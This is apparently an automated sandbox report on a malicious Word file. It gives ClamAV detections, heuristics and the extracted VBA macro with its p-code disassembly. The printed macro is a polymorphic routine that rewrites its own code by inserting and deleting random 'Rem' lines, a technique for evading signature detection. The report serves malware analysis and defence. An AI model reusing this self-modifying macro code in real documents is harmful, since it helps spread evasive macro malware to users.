MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing VBA macros. Heuristics indicate macro virus replication and AV tampering. The VBA script itself is designed to obfuscate its code by adding and removing 'Rem' lines, a common technique for polymorphic malware. This behavior, along with the ClamAV detections, strongly suggests a malicious macro downloader.
Heuristics 3
-
ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Noswan-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4312 bytes |
SHA-256: 7c6895079af507ebd2f5c2ff6ab6f6c4209a5d5a596ce1b113339a0f5f879a72 |
|||
|
Detection
ClamAV:
Win.Tool.W97M-7
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SOPS"
Sub SomeOtherPolymorphicSystem()
On Error Resume Next
Randomize
ActiveLines = Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule.CountOfLines
If ActiveLines > 65 Then
With Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule
For TheLine = 1 To .CountOfLines
If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
Next TheLine
End With
Else
With Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule
PolySize = Int(Rnd * 10)
For PolyMorphic = 1 To PolySize
PolyString = ""
PolyLines = .CountOfLines
RndLine = Int(Rnd * PolyLines)
StringSize = Int(Rnd * 39) + 1
For SomeString = 1 To StringSize
PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
Next SomeString
.InsertLines RndLine, "Rem " & PolyString
Next PolyMorphic
End With
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/7e77b3ef0634419da8a5d996998de5e7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1351 bytes
' Macros/VBA/SOPS - 15921 bytes
' Line #0:
' FuncDefn (Sub SomeOtherPolymorphicSystem())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Line #3:
' ArgsCall Read 0x0000
' Line #4:
' Line #5:
' LitStr 0x0004 "SOPS"
' Ld Application
' MemLd VBE
' MemLd ActiveVBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St ActiveLines
' Line #6:
' Line #7:
' Ld ActiveLines
' LitDI2 0x0041
' Gt
' IfBlock
' Line #8:
' Line #9:
' StartWithExpr
' LitStr 0x0004 "SOPS"
' Ld Application
' MemLd VBE
' MemLd ActiveVBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' With
' Line #10:
' Line #11:
' StartForVariable
' Ld TheLine
' EndForVariable
' LitDI2 0x0001
' MemLdWith CountOfLines
' For
' Line #12:
' Ld TheLine
' LitDI2 0x0001
' ArgsMemLdWith Lines 0x0002
' LitDI2 0x0003
' ArgsLd LBound 0x0002
' LitStr 0x0003 "Rem"
' Eq
' If
' BoSImplicit
' Ld TheLine
' ArgsMemCallWith DeleteLines 0x0001
' EndIf
' Line #13:
' StartForVariable
' Ld TheLine
' EndForVariable
' NextVar
' Line #14:
' Line #15:
' EndWith
' Line #16:
' Line #17:
' ElseBlock
' Line #18:
' Line #19:
' StartWithExpr
' LitStr 0x0004 "SOPS"
' Ld Application
' MemLd VBE
' MemLd ActiveVBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' With
' Line #20:
' Line #21:
' Ld Rnd
' LitDI2 0x000A
' Mul
' FnInt
' St PolySize
' Line #22:
' Line #23:
' StartForVariable
' Ld PolyMorphic
' EndForVariable
' LitDI2 0x0001
' Ld PolySize
' For
' Line #24:
' Line #25:
' LitStr 0x0000 ""
' St PolyString
' Line #26:
' MemLdWith CountOfLines
' St PolyLines
' Line #27:
' Line #28:
' Ld Rnd
' Ld PolyLines
' Mul
' FnInt
' St RndLine
' Line #29:
' Ld Rnd
' LitDI2 0x0027
' Mul
' FnInt
' LitDI2 0x0001
' Add
' St StringSize
' Line #30:
' Line #31:
' StartForVariable
' Ld SomeString
' EndForVariable
' LitDI2 0x0001
' Ld StringSize
' For
' Line #32:
' Ld PolyString
' LitDI2 0x0041
' Ld Rnd
' LitDI2 0x0016
' Mul
' FnInt
' Add
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x007A
' Ld Rnd
' LitDI2 0x0016
' Mul
' FnInt
' Sub
' ArgsLd Chr 0x0001
' Concat
' St PolyString
' Line #33:
' StartForVariable
' Ld SomeString
' EndForVariable
' NextVar
' Line #34:
' Line #35:
' Ld RndLine
' LitStr 0x0004 "Rem "
' Ld PolyString
' Concat
' ArgsMemCallWith InsertLines 0x0002
' Line #36:
' Line #37:
' StartForVariable
' Ld PolyMorphic
' EndForVariable
' NextVar
' Line #38:
' Line #39:
' EndWith
' Line #40:
' Line #41:
' EndIfBlock
' Line #42:
' Line #43:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.